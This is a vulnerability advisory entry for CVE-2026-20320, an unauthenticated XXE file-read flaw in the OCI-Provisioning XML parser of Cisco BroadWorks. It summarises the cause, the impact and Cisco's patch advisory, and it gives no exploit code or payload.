CVE-2026-20320

HIGH CISA KEV Pub 19/08 Upd 11/11

Overview

This vulnerability is an XML External Entity (XXE) injection affecting the Open Client Interface (OCI) XML Parser in Cisco BroadWorks. The root cause is improper parsing of XML entries that allows external entity resolution by default. The flaw resides specifically in the OCI-Provisioning (OCI-P) service component responsible for handling XML input messages.

Vulnerability Description

A vulnerability in the Open Client Interface (OCI) XML Parser of Cisco BroadWorks could allow an unauthenticated, remote attacker to read sensitive configuration information on an affected system. This vulnerability exists because XML entries are improperly parsed due to external entity resolution being allowed by default. An attacker could exploit this vulnerability by sending a crafted XML message to the Open Client Interface – Provisioning (OCI-P) service. A successful exploit could allow the attacker to view sensitive files from the filesystem with the privileges of the Cisco BroadWorks user.

Impact

An unauthenticated remote attacker can leverage this vulnerability to read sensitive configuration files on the affected system with the privileges of the Cisco BroadWorks user. This unauthorized disclosure can expose critical configuration details, potentially aiding further attacks or data breaches. No prior access or credentials are needed, enabling easy exploitation from a remote network location.

Solution

Cisco has released a security advisory (cisco-sa-bworks-xxe-uwUd7CEt) detailing patches and mitigations for this vulnerability affecting Cisco BroadWorks Application Delivery Platform and related components. Administrators should apply the updates provided in the advisory promptly. The advisory is available at https://sec.cloudapps.cisco.com/security/center/content/CiscoSecurityAdvisory/cisco-sa-bworks-xxe-uwUd7CEt and contains specific patch versions and recommended configuration changes to disable external entity resolution by default.
